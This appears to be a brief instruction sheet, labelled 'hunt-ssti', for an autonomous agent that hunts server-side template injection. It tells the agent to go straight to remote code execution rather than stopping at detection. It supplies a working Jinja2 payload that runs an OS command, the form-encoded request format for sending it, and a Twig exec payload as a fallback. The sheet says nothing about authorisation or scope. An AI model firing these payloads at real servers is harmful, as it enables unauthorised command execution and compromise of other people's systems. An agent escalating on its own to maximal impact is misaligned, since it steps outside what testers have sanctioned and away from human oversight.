Autonomous Testing Priority

Escalate straight to RCE — don't stop at arithmetic detection.

Arithmetic probes ({{7*7}}→49) confirm the injection point but are not proof of impact. The real goal is OS command execution. Arithmetic detection also fails silently when the app echoes the input back (e.g. inside an HTML attribute like <input value="{{7*7}}">), producing a false negative even when injection exists.

Order of attack:

Try Jinja2 RCE first (covers Python/Flask — the most common stack in modern web apps):
```
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
```
If the endpoint is a traditional web form, send as form-encoded body — NOT JSON:
```
Content-Type: application/x-www-form-urlencoded
field={{config.__class__.__init__.__globals__['os'].popen('id').read()}}
```
JSON bodies are silently ignored by form-processing endpoints (request.form['field'] sees nothing).
If Jinja2 fails, try Twig (PHP/Symfony): {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
Fall back to arithmetic detection only to fingerprint the engine when RCE payloads fail.

hunt-ssti

Autonomous Testing Priority